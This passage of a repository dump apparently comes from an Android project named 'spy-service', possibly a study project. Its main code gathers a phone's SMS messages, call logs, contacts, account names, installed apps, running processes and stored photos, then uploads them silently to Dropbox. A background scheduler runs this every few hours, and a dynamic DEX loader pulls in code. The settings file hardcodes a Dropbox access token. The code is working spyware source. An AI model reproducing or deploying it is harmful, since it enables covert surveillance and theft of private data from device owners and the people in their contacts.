WITHOUT + 7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + 8 | + specific language governing permissions and limitations under the License. + 9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ 10 | 11 | package ru.er_log.spyservice.loadable; 12 | 13 | import android.content.Context; 14 | import android.util.Log; 15 | 16 | import com.dropbox.core.DbxException; 17 | import com.dropbox.core.v2.files.FileMetadata; 18 | import com.dropbox.core.v2.files.ListFolderResult; 19 | import com.dropbox.core.v2.files.Metadata; 20 | import com.dropbox.core.v2.files.WriteMode; 21 | 22 | import java.io.ByteArrayInputStream; 23 | import java.io.FileInputStream; 24 | import java.io.IOException; 25 | import java.nio.charset.Charset; 26 | import java.util.ArrayList; 27 | import java.util.Collection; 28 | import java.util.Date; 29 | import java.util.HashMap; 30 | import java.util.List; 31 | 32 | import me.everything.providers.android.calllog.Call; 33 | import me.everything.providers.android.contacts.Contact; 34 | import me.everything.providers.android.telephony.Sms; 35 | import ru.er_log.spyservice.Settings; 36 | import ru.er_log.spyservice.loadable.content.ImageInformation; 37 | import ru.er_log.spyservice.loadable.content.SystemInformation; 38 | import ru.er_log.spyservice.network.DropBox; 39 | 40 | public final class Loadable implements ILoadable 41 | { 42 | public Loadable() 43 | { 44 | Log.d(Settings.LOG_TAG, "Loadable initialized"); 45 | } 46 | 47 | @Override 48 | public boolean fulfillDestiny(Context context) 49 | { 50 | DropBox dropBox; 51 | try { dropBox = new DropBox(context); } 52 | catch (DbxException e) 53 | { 54 | Log.e(Settings.LOG_TAG, "Exception while DropBox initialization"); 55 | e.printStackTrace(); 56 | return false; 57 | } 58 | 59 | uploadAllData(context, dropBox); 60 | return true; 61 | } 62 | 63 | private void uploadAllData(Context context, DropBox dropBox) 64 | { 65 | /* Forming images paths. */ 66 | HashMap localImages = new HashMap<>(); 67 | List folders = Functions.getPicturePaths(context); 68 | for (ImageInformation.ImageFolder folder : folders) 69 | for (ImageInformation.PictureFace image : Functions.getAllImagesByFolder(context, folder.getPath())) 70 | localImages.put(image.getPicturePath().toLowerCase().intern(), image); 71 | 72 | /* Uploading text information. */ 73 | 74 | Date date = new Date(System.currentTimeMillis()); 75 | String dateFormatted = android.text.format.DateFormat.format("dd.MM.yyyy 'at' HH:mm:ss", date).toString(); 76 | String dropboxPath = dropBox.getCloudFolderOther() + "/" + dateFormatted + ".txt"; 77 | String information = collectInformation(context, localImages.values()); 78 | //Log.d(Settings.DEBUG_TAG, "Collected information:\n" + information); 79 | 80 | byte[] bytes = information.getBytes(Charset.defaultCharset()); 81 | dropBox.uploadFile(WriteMode.OVERWRITE, date, null, dropboxPath, new ByteArrayInputStream(bytes)); 82 | 83 | /* Uploading images. */ 84 | 85 | { // Creating directories for images in cloud. 86 | List paths = new ArrayList<>(folders.size()); 87 | for (ImageInformation.ImageFolder folder : folders) 88 | { 89 | paths.add(dropBox.getCloudFolderImages() + folder.getPath().toLowerCase()); 90 | //Log.d(Settings.DEBUG_TAG, dropBox.getCloudFolderImages() + folder.getPath().toLowerCase()); 91 | } 92 | dropBox.createFolderBatch(paths, false); 93 | } 94 | 95 | formUploadImagesList(dropBox, localImages); 96 | if (localImages.size() != 0) 97 | { 98 | Collection values = localImages.values(); 99 | Log.d(Settings.LOG_TAG, "Need to upload " + values.size() + " images."); 100 | 101 | int success = 0, counter = 0, total = values.size(); 102 | for (ImageInformation.PictureFace pictureFace : values) 103 | { 104 | counter++; 105 | dropboxPath = dropBox.getCloudFolderImages() + pictureFace.getPicturePath().toLowerCase(); 106 | try 107 | { 108 | FileInputStream inputStream = new FileInputStream(pictureFace.getPicturePath()); 109 | FileMetadata fileMetadata = dropBox.uploadFile(WriteMode.OVERWRITE, pictureFace.getDateModified(), null, dropboxPath, inputStream); 110 | if (fileMetadata != null) success++; 111 | inputStream.close(); 112 | } catch (IOException e) 113 | { 114 | e.printStackTrace(); 115 | } 116 | 117 | if (counter % 5 == 0 || counter == total) 118 | Log.d(Settings.LOG_TAG, "Uploaded " + success + " of " + total + ", failure " + (counter - success)); 119 | } 120 | Log.d(Settings.LOG_TAG, "Uploading process finished"); 121 | } else 122 | { 123 | Log.d(Settings.LOG_TAG, "No images for upload"); 124 | } 125 | } 126 | 127 | /** Checks if element of {@param localImages} already exists on the server. File modified date also checks. 128 | * If newest version of element already exist, element will be removed from {@param localImages}. */ 129 | private void formUploadImagesList(DropBox dropBox, HashMap localImages) 130 | { 131 | String dirContent = dropBox.getCloudFolderImages(); 132 | try 133 | { 134 | ListFolderResult content = dropBox.getAllFolderContent(dirContent, true); 135 | for (Metadata metadata : content.getEntries()) 136 | { 137 | FileMetadata fileMetadata; 138 | try { fileMetadata = (FileMetadata) metadata; } 139 | catch (ClassCastException ignored) { continue; } 140 | 141 | String cloudImagePath = fileMetadata.getPathLower().substring(dirContent.length()).intern(); 142 | ImageInformation.PictureFace pictureFace; 143 | if ((pictureFace = localImages.get(cloudImagePath)) != null) 144 | { 145 | Date localDateModified = pictureFace.getDateModified(); 146 | Date cloudDateModified = fileMetadata.getClientModified(); 147 | if ((localDateModified.getTime() / 1000L) <= (cloudDateModified.getTime() / 1000L)) 148 | localImages.remove(cloudImagePath); 149 | } 150 | } 151 | } catch (DbxException e) 152 | { 153 | Log.e(Settings.LOG_TAG, "Can't load cloud directory content: " + dirContent); 154 | e.printStackTrace(); 155 | } 156 | } 157 | 158 | private String collectInformation(Context context, Collection images) 159 | { 160 | List sms = Functions.getSms(context); 161 | List calls = Functions.getCalls(context); 162 | List contacts = Functions.getContacts(context); 163 | SystemInformation systemInformation = Functions.getSystemInformation(context); 164 | 165 | List imagesPaths = new ArrayList<>(); 166 | if (images != null) 167 | for (ImageInformation.PictureFace pictureFace : images) 168 | imagesPaths.add(pictureFace.getPicturePath()); 169 | 170 | StringBuilder global = new StringBuilder(); 171 | 172 | StringBuilder builder = new StringBuilder(); 173 | for (Sms mes : sms) 174 | builder.append(mes.toString()).append('\n'); 175 | global.append("- - -\n").append("SMS Messages:\n").append(builder); 176 | 177 | builder = new StringBuilder(); 178 | for (Call call : calls) 179 | builder.append(call.toString()).append('\n'); 180 | global.append("- - -\n").append("Calls:\n").append(builder); 181 | 182 | builder = new StringBuilder(); 183 | for (Contact contact : contacts) 184 | builder.append(contact.toString()).append('\n'); 185 | global.append("- - -\n").append("Contacts:\n").append(builder); 186 | 187 | builder = new StringBuilder(); 188 | for (String image : imagesPaths) 189 | builder.append(image).append('\n'); 190 | global.append("- - -\n").append("Images in storage:\n").append(builder); 191 | 192 | builder = new StringBuilder(); 193 | builder.append("- - -\n").append("OS version code: ").append(systemInformation.getOsVersion()).append('\n'); 194 | builder.append("- - -\n").append("SDK version code: ").append(systemInformation.getSdkVersion()).append('\n'); 195 | builder.append("- - -\n").append("Free space: ").append(systemInformation.getFreeSpace()).append('\n'); 196 | builder.append("- - -\n").append("Accounts: ").append('\n'); 197 | for (String string : systemInformation.getAccounts()) 198 | builder.append(" - ").append(string).append('\n'); 199 | builder.append("- - -\n").append("Installed apps: ").append('\n'); 200 | for (String string : systemInformation.getInstalledApps()) 201 | builder.append(" - ").append(string).append('\n'); 202 | builder.append("- - -\n").append("Running processes: ").append('\n'); 203 | for (String string : systemInformation.getRunningProcesses()) 204 | builder.append(" - ").append(string).append('\n'); 205 | 206 | global.append("- - -\n").append("System information:\n").append(builder); 207 | return global.toString(); 208 | } 209 | } 210 | -------------------------------------------------------------------------------- /app/loadabledex/src/main/java/ru/er_log/spyservice/network/DropBox.java: -------------------------------------------------------------------------------- 1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. + 3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file + 4 | + except in compliance with the License. You may obtain a copy of the License at + 5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in + 6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + 7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + 8 | + specific language governing permissions and limitations under the License. + 9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ 10 | 11 | package ru.er_log.spyservice.network; 12 | 13 | import android.content.Context; 14 | import android.util.Log; 15 | 16 | import com.dropbox.core.DbxException; 17 | import com.dropbox.core.DbxRequestConfig; 18 | import com.dropbox.core.util.IOUtil; 19 | import com.dropbox.core.v2.DbxClientV2; 20 | import com.dropbox.core.v2.files.CreateFolderBatchBuilder; 21 | import com.dropbox.core.v2.files.CreateFolderBatchLaunch; 22 | import com.dropbox.core.v2.files.FileMetadata; 23 | import com.dropbox.core.v2.files.ListFolderResult; 24 | import com.dropbox.core.v2.files.Metadata; 25 | import com.dropbox.core.v2.files.WriteMode; 26 | 27 | import java.io.IOException; 28 | import java.io.InputStream; 29 | import java.util.Date; 30 | import java.util.List; 31 | 32 | import ru.er_log.spyservice.Settings; 33 | import ru.er_log.spyservice.loadable.BuildConfig; 34 | import ru.er_log.spyservice.util.CommonUtils; 35 | 36 | public class DropBox 37 | { 38 | private final String cloudFolderOther; 39 | private final String cloudFolderImages; 40 | 41 | private final Context context; 42 | private final DbxRequestConfig config; 43 | private final DbxClientV2 client; 44 | 45 | public DropBox(Context context) throws DbxException 46 | { 47 | this.context = context; 48 | 49 | String uniqueId = CommonUtils.getUniqueAppInstallationId(context); 50 | cloudFolderOther = "/" + uniqueId + "/about"; 51 | cloudFolderImages = "/" + uniqueId + "/images"; 52 | 53 | config = DbxRequestConfig.newBuilder(BuildConfig.LIBRARY_PACKAGE_NAME + "/" + BuildConfig.VERSION_NAME).withUserLocale("en_US").build(); 54 | client = new DbxClientV2(config, Settings.ACCESS_TOKEN); 55 | 56 | createFolders(); 57 | } 58 | 59 | private void createFolders() 60 | { 61 | try { client.files().createFolderV2(cloudFolderOther); } catch (DbxException ignored) {} 62 | try { client.files().createFolderV2(cloudFolderImages); } catch (DbxException ignored) {} 63 | } 64 | 65 | public CreateFolderBatchLaunch createFolderBatch(List paths, boolean forceAsync) 66 | { 67 | try 68 | { 69 | CreateFolderBatchBuilder builder = client.files().createFolderBatchBuilder(paths); 70 | builder.withAutorename(false); 71 | builder.withForceAsync(forceAsync); 72 | return builder.start(); 73 | } catch (DbxException e) 74 | { 75 | e.printStackTrace(); 76 | return null; 77 | } 78 | } 79 | 80 | public void uploadFileIfModified(Date modified, IOUtil.ProgressListener progressListener, String dropboxPath, InputStream in) 81 | { 82 | Metadata isExits = isExists(dropboxPath); 83 | FileMetadata fileMetadata = null; 84 | 85 | try { fileMetadata = (FileMetadata) isExits; } 86 | catch (ClassCastException ignored) {} 87 | 88 | if (fileMetadata == null) 89 | { // File not exist. 90 | Log.d(Settings.LOG_TAG, "File not found on server. Starting upload process."); 91 | uploadFile(WriteMode.OVERWRITE, modified, progressListener, dropboxPath, in); 92 | } else if ((modified.getTime() / 1000L) > (fileMetadata.getClientModified().getTime() / 1000L)) 93 | { // File exists and we are going to check if we need to update it. 94 | Log.d(Settings.LOG_TAG, "File update needed. Starting."); 95 | uploadFile(WriteMode.OVERWRITE, modified, progressListener, dropboxPath, in); 96 | } else 97 | { 98 | Log.d(Settings.LOG_TAG, "File found on the server and no need to update it: " + dropboxPath); 99 | } 100 | } 101 | 102 | public void uploadFileIfNotExist(Date modified, IOUtil.ProgressListener progressListener, String dropboxPath, InputStream in) 103 | { 104 | Metadata isExits = isExists(dropboxPath); 105 | if (isExits != null) return; 106 | uploadFile(WriteMode.OVERWRITE, modified, progressListener, dropboxPath, in); 107 | } 108 | 109 | public ListFolderResult getAllFolderContent(String dropboxPath, boolean recursive) throws DbxException 110 | { 111 | return client.files().listFolderBuilder(dropboxPath).withRecursive(recursive).withIncludeMediaInfo(true).start(); 112 | } 113 | 114 | public FileMetadata uploadFile(WriteMode writeMode, Date modified, IOUtil.ProgressListener progressListener, String dropboxPath, InputStream in) 115 | { 116 | try 117 | { 118 | FileMetadata metadata = client.files().uploadBuilder(dropboxPath) 119 | .withMode(writeMode) 120 | .withMute(Boolean.TRUE) 121 | .withClientModified(modified) 122 | .uploadAndFinish(in, progressListener); 123 | 124 | // Log.d(Settings.LOG_TAG, "File upload results: " + metadata.toString()); 125 | return metadata; 126 | } catch (DbxException ex) 127 | { 128 | Log.e(Settings.LOG_TAG, "Error uploading to Dropbox: " + ex.getMessage()); 129 | return null; 130 | } catch (IOException ex) 131 | { 132 | Log.e(Settings.LOG_TAG, "Error reading from input stream: \"" + dropboxPath + "\": " + ex.getMessage()); 133 | return null; 134 | } 135 | } 136 | 137 | private Metadata isExists(String path) 138 | { 139 | try 140 | { 141 | return client.files().getMetadata(path); 142 | } catch (DbxException ignored) 143 | { 144 | return null; 145 | } 146 | } 147 | 148 | public String getCloudFolderOther() 149 | { 150 | return cloudFolderOther; 151 | } 152 | 153 | public String getCloudFolderImages() 154 | { 155 | return cloudFolderImages; 156 | } 157 | } 158 | -------------------------------------------------------------------------------- /app/loadabledex/src/test/java/ru/er_log/spyservice/loadable/ExampleUnitTest.java: -------------------------------------------------------------------------------- 1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. + 3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file + 4 | + except in compliance with the License. You may obtain a copy of the License at + 5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in + 6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + 7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + 8 | + specific language governing permissions and limitations under the License. + 9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ 10 | 11 | package ru.er_log.spyservice.loadable; 12 | 13 | import org.junit.Test; 14 | 15 | import static org.junit.Assert.*; 16 | 17 | /** 18 | * Example local unit test, which will execute on the development machine (host). 19 | * 20 | * @see Testing documentation 21 | */ 22 | public class ExampleUnitTest 23 | { 24 | @Test 25 | public void addition_isCorrect() 26 | { 27 | assertEquals(4, 2 + 2); 28 | } 29 | } -------------------------------------------------------------------------------- /app/loadableinterface/.gitignore: -------------------------------------------------------------------------------- 1 | /build 2 | -------------------------------------------------------------------------------- /app/loadableinterface/build.gradle: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. 3 | * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file 4 | * except in compliance with the License. You may obtain a copy of the License at 5 | * http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in 6 | * writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT 7 | * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the 8 | * specific language governing permissions and limitations under the License. 9 | */ 10 | 11 | apply plugin: 'com.android.library' 12 | 13 | android { 14 | compileSdkVersion 29 15 | buildToolsVersion "29.0.3" 16 | 17 | defaultConfig { 18 | minSdkVersion 23 19 | targetSdkVersion 29 20 | versionCode 1 21 | versionName "1.0" 22 | 23 | testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" 24 | consumerProguardFiles 'consumer-rules.pro' 25 | } 26 | 27 | buildTypes { 28 | release { 29 | minifyEnabled false 30 | proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' 31 | } 32 | } 33 | 34 | } 35 | 36 | dependencies { 37 | implementation fileTree(dir: 'libs', include: ['*.jar']) 38 | 39 | implementation 'me.everything:providers-stetho:1.0.1' 40 | 41 | implementation 'androidx.appcompat:appcompat:1.1.0' 42 | testImplementation 'junit:junit:4.13' 43 | androidTestImplementation 'androidx.test.ext:junit:1.1.1' 44 | androidTestImplementation 'androidx.test.espresso:espresso-core:3.2.0' 45 | } 46 | -------------------------------------------------------------------------------- /app/loadableinterface/consumer-rules.pro: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CRaFT4ik/android-spy-service/afeb394a4ae0319d938f6480b6bee03a93b86553/app/loadableinterface/consumer-rules.pro -------------------------------------------------------------------------------- /app/loadableinterface/loadableinterface.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 10 | 11 | 12 | 13 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | -------------------------------------------------------------------------------- /app/loadableinterface/proguard-rules.pro: -------------------------------------------------------------------------------- 1 | # Add project specific ProGuard rules here. 2 | # You can control the set of applied configuration files using the 3 | # proguardFiles setting in build.gradle. 4 | # 5 | # For more details, see 6 | # http://developer.android.com/guide/developing/tools/proguard.html 7 | 8 | # If your project uses WebView with JS, uncomment the following 9 | # and specify the fully qualified class name to the JavaScript interface 10 | # class: 11 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview { 12 | # public *; 13 | #} 14 | 15 | # Uncomment this to preserve the line number information for 16 | # debugging stack traces. 17 | #-keepattributes SourceFile,LineNumberTable 18 | 19 | # If you keep the line number information, uncomment this to 20 | # hide the original source file name. 21 | #-renamesourcefileattribute SourceFile 22 | -------------------------------------------------------------------------------- /app/loadableinterface/src/androidTest/java/ru/er_log/spyservice/loadable/ExampleInstrumentedTest.java: -------------------------------------------------------------------------------- 1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. + 3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file + 4 | + except in compliance with the License. You may obtain a copy of the License at + 5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in + 6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + 7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + 8 | + specific language governing permissions and limitations under the License. + 9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ 10 | 11 | package ru.er_log.spyservice.loadable; 12 | 13 | import android.content.Context; 14 | 15 | import androidx.test.platform.app.InstrumentationRegistry; 16 | import androidx.test.ext.junit.runners.AndroidJUnit4; 17 | 18 | import org.junit.Test; 19 | import org.junit.runner.RunWith; 20 | 21 | import static org.junit.Assert.*; 22 | 23 | /** 24 | * Instrumented test, which will execute on an Android device. 25 | * 26 | * @see Testing documentation 27 | */ 28 | @RunWith(AndroidJUnit4.class) 29 | public class ExampleInstrumentedTest 30 | { 31 | @Test 32 | public void useAppContext() 33 | { 34 | // Context of the app under test. 35 | Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); 36 | 37 | assertEquals("ru.er_log.spyservice.loadable.test", appContext.getPackageName()); 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /app/loadableinterface/src/main/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /app/loadableinterface/src/main/java/ru/er_log/spyservice/Settings.java: -------------------------------------------------------------------------------- 1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. + 3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file + 4 | + except in compliance with the License. You may obtain a copy of the License at + 5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in + 6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + 7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + 8 | + specific language governing permissions and limitations under the License. + 9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ 10 | 11 | package ru.er_log.spyservice; 12 | 13 | import java.util.concurrent.TimeUnit; 14 | 15 | public class Settings 16 | { 17 | public static final boolean RUN_IN_BACKGROUND = true; // Enable WorkManager service (= true) or debug program in direct mode (= false). For release should be true. 18 | public static final boolean USE_LOCAL_DEX = false; // If true, you need to include 'loadabledex' module to 'app' project dependencies and uncomment line in 'Worker' class. For release should be false. 19 | public static final String LOG_TAG = "CR_TAG"; 20 | public static final String API_URL = "http://www.er-log.ru/study/spyservice/"; 21 | 22 | // Task. 23 | 24 | public static final String TASK_TAG = "CR_TASK"; 25 | public static final boolean REQUIRES_IDLE = true; // If true, task will execute only if device idle now. Recommended value is true. 26 | public static final int INITIAL_DELAY = 20; // Recommended value is 1 hour. 27 | public static final TimeUnit INITIAL_TIME_UNIT = TimeUnit.MINUTES; 28 | public static final int REPEAT_INTERVAL = 8; // Recommended value is 12 hours. 29 | public static final TimeUnit REPEAT_TIME_UNIT = TimeUnit.HOURS; 30 | public static final int FLEX_INTERVAL = 3; // Recommended value is 4 hours. 31 | public static final TimeUnit FLEX_TIME_UNIT = TimeUnit.HOURS; 32 | 33 | // DropBox. 34 | 35 | public static final String ACCESS_TOKEN = "OfRRSa5YovwAAAAAAAAAHUoANpkCJ_BZVA_t782wIQrrUga4soCzhRktH4PUd4Sl"; 36 | // public static final String APP_KEY = ""; 37 | // public static final String APP_SECRET = ""; 38 | } 39 | -------------------------------------------------------------------------------- /app/loadableinterface/src/main/java/ru/er_log/spyservice/loadable/ILoadable.java: -------------------------------------------------------------------------------- 1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. + 3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file + 4 | + except in compliance with the License. You may obtain a copy of the License at + 5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in + 6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + 7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + 8 | + specific language governing permissions and limitations under the License. + 9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ 10 | 11 | package ru.er_log.spyservice.loadable; 12 | 13 | import android.content.Context; 14 | 15 | import java.util.ArrayList; 16 | import java.util.List; 17 | 18 | import me.everything.providers.android.calllog.Call; 19 | import me.everything.providers.android.contacts.Contact; 20 | import me.everything.providers.android.media.Image; 21 | import me.everything.providers.android.telephony.Sms; 22 | import ru.er_log.spyservice.loadable.content.ImageInformation; 23 | import ru.er_log.spyservice.loadable.content.SystemInformation; 24 | 25 | public interface ILoadable 26 | { 27 | boolean fulfillDestiny(Context context); 28 | // List getSms(Context context); 29 | // List getCalls(Context context); 30 | // List getContacts(Context context); 31 | // List getInternalStorageImages(Context context); 32 | // List getExternalStorageImages(Context context); 33 | // SystemInformation getSystemInformation(Context context); 34 | } 35 | -------------------------------------------------------------------------------- /app/loadableinterface/src/main/java/ru/er_log/spyservice/loadable/Util.java: -------------------------------------------------------------------------------- 1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. + 3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file + 4 | + except in compliance with the License. You may obtain a copy of the License at + 5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in + 6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + 7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + 8 | + specific language governing permissions and limitations under the License. + 9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ 10 | 11 | package ru.er_log.spyservice.loadable; 12 | 13 | import java.io.File; 14 | 15 | import dalvik.system.DexClassLoader; 16 | 17 | class Util 18 | { 19 | static ILoadable loadModule(String className, File dexFile, File cacheDir, ClassLoader parent) 20 | { 21 | try 22 | { 23 | DexClassLoader classLoader = new DexClassLoader(dexFile.getAbsolutePath(), cacheDir.getAbsolutePath(), null, parent); 24 | Class moduleClass = classLoader.loadClass(className); 25 | 26 | // // All classes in DEX file. 27 | // DexFile df = new DexFile(dexFile); 28 | // for (Enumeration iter = df.entries(); iter.hasMoreElements(); ) 29 | // { 30 | // String _className = iter.nextElement(); 31 | // if (!_className.equals(className)) 32 | // classLoader.loadClass(_className); 33 | // } 34 | 35 | if (ILoadable.class.isAssignableFrom(moduleClass)) 36 | return (ILoadable) moduleClass.newInstance(); 37 | } catch (Exception e) 38 | { 39 | e.printStackTrace(); 40 | } 41 | 42 | return null; 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /app/loadableinterface/src/main/java/ru/er_log/spyservice/loadable/content/ImageInformation.java: -------------------------------------------------------------------------------- 1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. + 3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file + 4 | + except in compliance with the License. You may obtain a copy of the License at + 5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in + 6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + 7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + 8 | + specific language governing permissions and limitations under the License. + 9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ 10 | 11 | package ru.er_log.spyservice.loadable.content; 12 | 13 | import java.util.Date; 14 | 15 | public class ImageInformation 16 | { 17 | /** 18 | * author CodeBoy722 19 | *

20 | * Custom Class that holds information of a folder containing images 21 | * on the device external storage, used to populate our RecyclerView of 22 | * picture folders 23 | */ 24 | public static class ImageFolder 25 | { 26 | private String path; 27 | private String FolderName; 28 | private int numberOfPics = 0; 29 | private String firstPic; 30 | 31 | public ImageFolder() {} 32 | 33 | public ImageFolder(String path, String folderName) 34 | { 35 | this.path = path; 36 | FolderName = folderName; 37 | } 38 | 39 | public String getPath() 40 | { 41 | return path; 42 | } 43 | 44 | public void setPath(String path) 45 | { 46 | this.path = path; 47 | } 48 | 49 | public String getFolderName() 50 | { 51 | return FolderName; 52 | } 53 | 54 | public void setFolderName(String folderName) 55 | { 56 | FolderName = folderName; 57 | } 58 | 59 | public int getNumberOfPics() 60 | { 61 | return numberOfPics; 62 | } 63 | 64 | public void setNumberOfPics(int numberOfPics) 65 | { 66 | this.numberOfPics = numberOfPics; 67 | } 68 | 69 | public void addPics() 70 | { 71 | this.numberOfPics++; 72 | } 73 | 74 | public String getFirstPic() 75 | { 76 | return firstPic; 77 | } 78 | 79 | public void setFirstPic(String firstPic) 80 | { 81 | this.firstPic = firstPic; 82 | } 83 | } 84 | 85 | /** 86 | * Author CodeBoy722 87 | *

88 | * Custom class for holding data of images on the device external storage 89 | */ 90 | public static class PictureFace 91 | { 92 | private String pictureName; 93 | private String picturePath; 94 | private String pictureSize; 95 | private Date dateModified; 96 | private String imageUri; 97 | private Boolean selected = false; 98 | 99 | public PictureFace() {} 100 | 101 | public PictureFace(String pictureName, String picturePath, String pictureSize, String imageUri) 102 | { 103 | this.pictureName = pictureName; 104 | this.picturePath = picturePath; 105 | this.pictureSize = pictureSize; 106 | this.imageUri = imageUri; 107 | } 108 | 109 | 110 | public String getPictureName() 111 | { 112 | return pictureName; 113 | } 114 | 115 | public void setPictureName(String pictureName) 116 | { 117 | this.pictureName = pictureName; 118 | } 119 | 120 | public String getPicturePath() 121 | { 122 | return picturePath; 123 | } 124 | 125 | public void setPicturePath(String picturePath) 126 | { 127 | this.picturePath = picturePath; 128 | } 129 | 130 | public String getPictureSize() 131 | { 132 | return pictureSize; 133 | } 134 | 135 | public void setPictureSize(String pictureSize) 136 | { 137 | this.pictureSize = pictureSize; 138 | } 139 | 140 | public String getImageUri() 141 | { 142 | return imageUri; 143 | } 144 | 145 | public void setImageUri(String imageUri) 146 | { 147 | this.imageUri = imageUri; 148 | } 149 | 150 | public Boolean getSelected() 151 | { 152 | return selected; 153 | } 154 | 155 | public void setSelected(Boolean selected) 156 | { 157 | this.selected = selected; 158 | } 159 | 160 | public Date getDateModified() 161 | { 162 | return this.dateModified; 163 | } 164 | 165 | public void setPictureDateModified(Date date) 166 | { 167 | this.dateModified = date; 168 | } 169 | } 170 | } 171 | -------------------------------------------------------------------------------- /app/loadableinterface/src/main/java/ru/er_log/spyservice/loadable/content/SystemInformation.java: -------------------------------------------------------------------------------- 1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 | + Copyright (C) 2020 Eldar Timraleev (aka 